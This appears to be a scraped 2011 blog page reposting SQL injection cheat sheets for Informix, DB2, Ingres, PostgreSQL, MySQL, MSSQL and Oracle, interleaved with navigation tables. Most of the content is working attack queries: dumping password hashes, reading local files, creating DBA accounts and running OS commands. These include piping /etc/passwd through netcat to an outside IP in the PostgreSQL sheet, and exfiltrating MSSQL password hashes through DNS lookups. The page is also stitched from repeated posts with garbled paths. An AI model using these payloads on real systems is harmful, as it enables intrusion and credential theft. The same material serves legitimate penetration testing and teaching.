chat.exe has been detected AS TROJ_BLAZGEL.SMT since 2010/5/25
chat.dll is detected AS BKDR_AGENT.BANG Trend Micro 8.610.03 and +
| Web Penetration Testings (0) | 2011.12.04 |
|---|---|
| Blocked DOMAINS / IP address for spreading malicous files (Chat.EXE, Chat.DLL) (0) | 2011.11.30 |
| Informix SQL Injection Cheat Sheet (0) | 2011.11.08 |
| DB2 SQL Injection Cheat Sheet (0) | 2011.11.08 |
| Ingres SQL Injection Cheat Sheet (1) | 2011.11.08 |
Some useful syntax reminders for SQL Injection into Informix databases…
Below are some tabulated notes on how to do many of thing you’d normally do via SQL injection. All tests were performed on Informix Dynamic Server Express Edition 11.5 for Windows. The Informix download page is here.
This post is part of series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
| Version | SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘server-type’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘os’) FROM systables WHERE tabid = 1; — T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix |
| Comments | select 1 FROM systables WHERE tabid = 1; — comment |
| Current User | SELECT USER FROM systables WHERE tabid = 1; select CURRENT_ROLE FROM systables WHERE tabid = 1; |
| List Users | select username, usertype, password from sysusers; |
| List Password Hashes | TODO |
| List Privileges | select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; — which procedures are accessible by which users |
| List DBA Accounts | TODO |
| Current Database | SELECT DBSERVERNAME FROM systables where tabid = 1; — server name |
| List Databases | select name, owner from sysdatabases; |
| List Columns | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; |
| List Tables | select tabname, owner FROM systables; select tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid; |
| List Stored Procedures | select procname, owner FROM sysprocedures; |
| Find Tables From Column Name | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’; |
| Select Nth Row | select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row |
| Select Nth Char | SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’ |
| Bitwise AND | select bitand(6, 1) from systables where tabid = 1; — returns 0 select bitand(6, 2) from systables where tabid = 1; — returns 2 |
| ASCII Value -> Char | TODO |
| Char -> ASCII Value | select ascii(‘A’) from systables where tabid = 1; |
| Casting | select cast(’123′ as integer) from systables where tabid = 1; select cast(1 as char) from systables where tabid = 1; |
| String Concatenation | SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’ SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’ |
| String Length | SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables; |
| If Statement | TODO |
| Case Statement | select tabid, case when tabid>10 then “High” else ‘Low’ end from systables; |
| Avoiding Quotes | TODO |
| Time Delay | TODO |
| Make DNS Requests | TODO |
| Command Execution | TODO |
| Local File Access | TODO |
| Hostname, IP Address | SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname |
| Location of DB files | TODO |
| Default/System Databases | These are the system databases: sysmaster sysadmin* sysuser* sysutils* |
* = don’t seem to contain anything / don’t allow readingInstalling Locally
You can download Informix Dynamic Server Express Edition 11.5 Trial for Linux and Windows.
Database ClientThere’s a database client SDK available, but I couldn’t get the demo client working.
I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers (“emerge dev-java/jdbc-informix” on Gentoo).Logging in from command line
If you get local admin rights on a Windows box and have a GUI logon:
The following were set on my test system. This may help if you get command line access, but can’t get a GUI – you’ll need to change “testservername”:
set INFORMIXDIR=C:PROGRA~1IBMIBMINF~111.50 set INFORMIXSERVER=testservername set ONCONFIG=ONCONFIG.testservername set PATH=C:PROGRA~1IBMIBMINF~111.50bin;C:WINDOWSsystem32;C:WINDOWS;C:WINDOWSSystem32Wbem;C:PROGRA~1ibmgsk7bin;C:PROGRA~1ibmgsk7lib;C:Program FilesIBMInformixClien-SDKbin;C:Program Filesibmgsk7bin;C:Program Filesibmgsk7lib set CLASSPATH=C:PROGRA~1IBMIBMINF~111.50extendkrakatoakrakatoa.jar;C:PROGRA~1IBMIBMINF~111.50xtendkrakatoajdbc.jar; set DBTEMP=C:PROGRA~1IBMIBMINF~111.50infxtmp set CLIENT_LOCALE=EN_US.CP1252 set DB_LOCALE=EN_US.8859-1 set SERVER_LOCALE=EN_US.CP1252 set DBLANG=EN_US.CP1252 mode con codepage select=1252
Identifying on the network
My default installation listened on two TCP ports: 9088 and 9099. When I created a new “server name”, this listened on 1526/TCP by default. Nmap 4.76 didn’t identify these ports as Informix:
$ sudo nmap -sS -sV 10.0.0.1 -p- -v –version-all
…
1526/tcp open pdap-np?
9088/tcp open unknown
9089/tcp open unknown
…
TODO How would we identify Informix listening on the network?
| Blocked DOMAINS / IP address for spreading malicous files (Chat.EXE, Chat.DLL) (0) | 2011.11.30 |
|---|---|
| Virus Pattern (Trend Micro) (0) | 2011.11.29 |
| DB2 SQL Injection Cheat Sheet (0) | 2011.11.08 |
| Ingres SQL Injection Cheat Sheet (1) | 2011.11.08 |
| Postgres SQL Injection Cheat Sheet (0) | 2011.11.08 |
Finding a SQL injection vulnerability in a web application backed by DB2 isn’t too common in my experience. When you do find one, though it pays to be prepared…
Below are some tabulated notes on how to do many of thing you’d normally do via SQL injection. All tests were performed on DB2 8.2 under Windows.
This post is part of series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | select versionnumber, version_timestamp from sysibm.sysversions; |
| Comments | select blah from foo; — comment like this |
| Current User | select user from sysibm.sysdummy1; select session_user from sysibm.sysdummy1; select system_user from sysibm.sysdummy1; |
| List Users | N/A (I think DB2 uses OS-level user accounts for authentication.)
Database authorities (like roles, I think) can be listed like this: |
| List Password Hashes | N/A (I think DB2 uses OS-level user accounts for authentication.) |
| List Privileges | select * from syscat.tabauth; — privs on tables select * from syscat.dbauth where grantee = current user; select * from syscat.tabauth where grantee = current user; |
| List DBA Accounts | TODO |
| Current Database | select current server from sysibm.sysdummy1; |
| List Databases | SELECT schemaname FROM syscat.schemata; |
| List Columns | select name, tbname, coltype from sysibm.syscolumns; |
| List Tables | select name from sysibm.systables; |
| Find Tables From Column Name | TODO |
| Select Nth Row | select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only; |
| Select Nth Char | SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1; — returns b |
| Bitwise AND | This page seems to indicate that DB2 has no support for bitwise operators! |
| ASCII Value -> Char | select chr(65) from sysibm.sysdummy1; — returns ‘A’ |
| Char -> ASCII Value | select ascii(‘A’) from sysibm.sysdummy1; — returns 65 |
| Casting | SELECT cast(’123′ as integer) FROM sysibm.sysdummy1; SELECT cast(1 as char) FROM sysibm.sysdummy1; |
| String Concatenation | SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1; — returns ‘abc’ select ‘a’ || ‘b’ from sysibm.sysdummy1; — returns ‘ab’ |
| If Statement | TODO |
| Case Statement | TODO |
| Avoiding Quotes | TODO |
| Time Delay | ???See Heavy Queries article for some ideas. |
| Make DNS Requests | TODO |
| Command Execution | TODO |
| Local File Access | TODO |
| Hostname, IP Address | TODO |
| Location of DB files | TODO |
| Default/System Databases | TODO |
| Virus Pattern (Trend Micro) (0) | 2011.11.29 |
|---|---|
| Informix SQL Injection Cheat Sheet (0) | 2011.11.08 |
| Ingres SQL Injection Cheat Sheet (1) | 2011.11.08 |
| Postgres SQL Injection Cheat Sheet (0) | 2011.11.08 |
| MySQL SQL Injection Cheat Sheet (1) | 2011.11.08 |
Below are some tabulated notes on how to do many of thing you’d normally do via SQL injection. All tests were performed on Ingres 9.2.0 alpha Build 108 for Linux. The Ingres download page is here.
This page will probably remain a work-in-progress for some time yet. I’ll update it as I learn more.
This post is part of series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
| Version | select dbmsinfo(‘_version’); |
| Comments | SELECT 123; — comment select 123; /* comment */ |
| Current User | select dbmsinfo(‘session_user’); select dbmsinfo(‘system_user’); |
| List Users | First connect to iidbdb, then: select name, password from iiuser; |
| Create Users | create user testuser with password = ‘testuser’;– priv |
| List Password Hashes | First connect to iidbdb, then: select name, password from iiuser; |
| List Privileges | select dbmsinfo(‘db_admin’); select dbmsinfo(‘create_table’); select dbmsinfo(‘create_procedure’); select dbmsinfo(‘security_priv’); select dbmsinfo(‘select_syscat’); select dbmsinfo(‘db_privileges’); select dbmsinfo(‘current_priv_mask’); |
| List DBA Accounts | TODO |
| Current Database | select dbmsinfo(‘database’); |
| List Databases | TODO |
| List Columns | select column_name, column_datatype, table_name, table_owner from iicolumns; |
| List Tables | select table_name, table_owner from iitables; select relid, relowner, relloc from iirelation; select relid, relowner, relloc from iirelation where relowner != ‘$ingres’; |
| Find Tables From Column Name | TODO |
| Select Nth Row | Astoundingly, this doesn’t seem to be possible! This is as close as you can get:
select top 10 blah from table; |
| Select Nth Char | select substr(‘abc’, 2, 1); — returns ‘b’ |
| Bitwise AND | The function “bit_and” exists, but seems hard to use. Here’s an example of ANDing 3 and 5 together. The result is a “byte” type with value ?01: select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1); |
| ASCII Value -> Char | TODO |
| Char -> ASCII Value | TODO (The “ascii” function exists, but doesn’t seem to do what I’d expect.) |
| Casting | select cast(123 as varchar); select cast(’123′ as integer); |
| String Concatenation | select ‘abc’ || ‘def’; |
| If Statement | TODO |
| Case Statement | TODO |
| Avoiding Quotes | TODO |
| Time Delay | ???
See Heavy Queries article for some ideas. |
| Make DNS Requests | TODO |
| Command Execution | TODO |
| Local File Access | TODO |
| Hostname, IP Address | TODO |
| Location of DB files | TODO |
| Default/System Databases | TODO |
| Installing Locally | The Ingres database can be downloaded for free from http://esd.ingres.com/ A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832 |
| Database Client | TODO There is a client called “sql” which can be used for local connections (at least) in the database server package above. |
| Logging in from command line | $ su - ingres $ sql iidbdb * select dbmsinfo(‘_version’); go |
| Identifying on the network | TODO |
The following areas are interesting enough to include on this page, but I haven’t researched them for other databases:
| Description | SQL / Comments |
| Batching Queries Allowed? | Not via DBI in PERL. Subsequent statements seem to get ignored: select blah from table where foo = 1; select … doesn’t matter this is ignored. |
| FROM clause mandated in SELECTs? | No. You don’t need to select form “dual” or anything. The following is legal: select 1; |
| UNION supported | Yes. Nothing tricky here. The following is legal: select 1 union select 2; |
| Enumerate Tables Privs | select table_name, permit_user, permit_type from iiaccess; |
| Length of a string | select length(‘abc’); — returns 3 |
| Roles and passwords | First you need to connect to iidbdb, then: select roleid, rolepass from iirole; |
| List Database Procedures | First you need to connect to iidbdb, then: select dbp_name, dbp_owner from iiprocedure; |
| Create Users + Granting Privs | First you need to connect to iidbdb, then: create user pm with password = ‘password’; grant all on current installation to pm; |
Tags: cheatsheet, database, ingres, pentest, sqlinjection
Posted in SQL Injection
| Informix SQL Injection Cheat Sheet (0) | 2011.11.08 |
|---|---|
| DB2 SQL Injection Cheat Sheet (0) | 2011.11.08 |
| Postgres SQL Injection Cheat Sheet (0) | 2011.11.08 |
| MySQL SQL Injection Cheat Sheet (1) | 2011.11.08 |
| MSSQL Injection Cheat Sheet (0) | 2011.11.08 |
Some useful syntax reminders for SQL Injection into PostgreSQL databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT version() |
| Comments | SELECT 1; –comment SELECT /*comment*/1; |
| Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); |
| List Users | SELECT usename FROM pg_user |
| List Password Hashes | SELECT usename, passwd FROM pg_shadow — priv |
| Password Cracker | MDCrack can crack PostgreSQL’s MD5-based passwords. |
| List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
| List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
| Current Database | SELECT current_database() |
| List Databases | SELECT datname FROM pg_database |
| List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
| List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
| Find Tables From Column Name | If you want to list all the table names that contain a column LIKE ‘%password%’:
SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; |
| Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); — returns c |
| Bitwise AND | SELECT 6 & 2; — returns 2 SELECT 6 & 1; –returns 0 |
| ASCII Value -> Char | SELECT chr(65); |
| Char -> ASCII Value | SELECT ascii(‘A’); |
| Casting | SELECT CAST(1 as varchar); SELECT CAST(’1′ as int); |
| String Concatenation | SELECT ‘A’ || ‘B’; — returnsAB |
| If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
| Avoiding Quotes | SELECT CHR(65)||CHR(66); — returns AB |
| Time Delay | SELECT pg_sleep(10); — postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here . |
| Make DNS Requests | Generally not possible in postgres. However if contrib/dblink is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. |
| Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — priv
SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user |
| Local File Access | CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest; Write to a file: CREATE TABLE mytable (mycol text); |
| Hostname, IP Address | SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection) |
| Create Users | CREATE USER test1 PASSWORD ‘pass1′; — priv CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time |
| Drop Users | DROP USER test1; — priv |
| Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; — priv |
| Location of DB files | SELECT current_setting(‘data_directory’); — priv SELECT current_setting(‘hba_file’); — priv |
| Default/System Databases | template0 template1 |
| DB2 SQL Injection Cheat Sheet (0) | 2011.11.08 |
|---|---|
| Ingres SQL Injection Cheat Sheet (1) | 2011.11.08 |
| MySQL SQL Injection Cheat Sheet (1) | 2011.11.08 |
| MSSQL Injection Cheat Sheet (0) | 2011.11.08 |
| Oracle SQL Injection Cheat Sheet (0) | 2011.11.08 |
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT @@version |
| Comments | SELECT 1; #comment SELECT /*comment*/1; |
| Current User | SELECT user(); SELECT system_user(); |
| List Users | SELECT user FROM mysql.user; — priv |
| List Password Hashes | SELECT host, user, password FROM mysql.user; — priv |
| Password Cracker | John the Ripper will crack MySQL password hashes. |
| List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
| List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;
SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
| Current Database | SELECT database() |
| List Databases | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv |
| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
| List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
| Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’ |
| Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c |
| Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 |
| ASCII Value -> Char | SELECT char(65); # returns A |
| Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 |
| Casting | SELECT cast(’1′ AS unsigned integer); SELECT cast(’123′ AS char); |
| String Concatenation | SELECT CONCAT(‘A’,'B’); #returns AB SELECT CONCAT(‘A’,'B’,'C’); # returns ABC |
| If Statement | SELECT if(1=1,’foo’,'bar’); — returns ‘foo’ |
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A |
| Avoiding Quotes | SELECT 0×414243; # returns ABC |
| Time Delay | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 |
| Make DNS Requests | Impossible? |
| Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. |
| Local File Access | …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system |
| Hostname, IP Address | Impossible? |
| Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
| Delete Users | DROP USER test1; — priv |
| Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv |
| Location of DB files | SELECT @@datadir; |
| Default/System Databases | information_schema (>= mysql 5.0) mysql |
| Ingres SQL Injection Cheat Sheet (1) | 2011.11.08 |
|---|---|
| Postgres SQL Injection Cheat Sheet (0) | 2011.11.08 |
| MSSQL Injection Cheat Sheet (0) | 2011.11.08 |
| Oracle SQL Injection Cheat Sheet (0) | 2011.11.08 |
| Directory Traversal Vulnerability (0) | 2011.10.29 |
Some useful syntax reminders for SQL Injection into MSSQL databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT @@version |
| Comments | SELECT 1 — comment SELECT /*comment*/1 |
| Current User | SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
| List Users | SELECT name FROM master..syslogins |
| List Password Hashes | SELECT name, password FROM master..sysxlogins — priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005 |
| Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. |
| List Privileges | Impossible? |
| List DBA Accounts | TODO SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. |
| Current Database | SELECT DB_NAME() |
| List Databases | SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … |
| List Columns | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| List Tables | SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| Find Tables From Column Name | – NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’ |
| Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row |
| Select Nth Char | SELECT substring(‘abcd’, 3, 1) — returns c |
| Bitwise AND | SELECT 6 & 2 — returns 2 SELECT 6 & 1 — returns 0 |
| ASCII Value -> Char | SELECT char(0×41) — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) – returns 65 |
| Casting | SELECT CAST(’1′ as int); SELECT CAST(1 as char) |
| String Concatenation | SELECT ‘A’ + ‘B’ – returns AB |
| If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 |
| Avoiding Quotes | SELECT char(65)+char(66) — returns AB |
| Time Delay | WAITFOR DELAY ’0:0:5′ — pause for 5 seconds |
| Make DNS Requests | declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000
declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005 – NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. |
| Command Execution | EXEC xp_cmdshell ‘net user’; — priv
On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: |
| Local File Access | CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM ‘c:boot.ini’; DROP TABLE mydata; |
| Hostname, IP Address | SELECT HOST_NAME() |
| Create Users | EXEC sp_addlogin ‘user’, ‘pass’; — priv |
| Drop Users | EXEC sp_droplogin ‘user’; — priv |
| Make User DBA | EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv |
| Location of DB files | TODO |
| Default/System Databases | northwind model msdb pubs tempdb |
| Postgres SQL Injection Cheat Sheet (0) | 2011.11.08 |
|---|---|
| MySQL SQL Injection Cheat Sheet (1) | 2011.11.08 |
| Oracle SQL Injection Cheat Sheet (0) | 2011.11.08 |
| Directory Traversal Vulnerability (0) | 2011.10.29 |
| WOT vs SiteAdvisor vs SafeWeb – PrizeFly (0) | 2011.10.19 |
Some useful syntax reminders for SQL Injection into Oracle databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; |
| Comments | SELECT 1 FROM dual — comment – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table. |
| Current User | SELECT user FROM dual |
| List Users | SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv |
| List Password Hashes | SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g |
| Password Cracker | checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
| List Privileges | SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
| List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
| Current Database | SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; |
| List Databases | SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases. See tnscmd (services | status). |
| List Columns | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; |
| List Tables | SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; |
| Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case |
| Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
| Bitwise AND | SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0 |
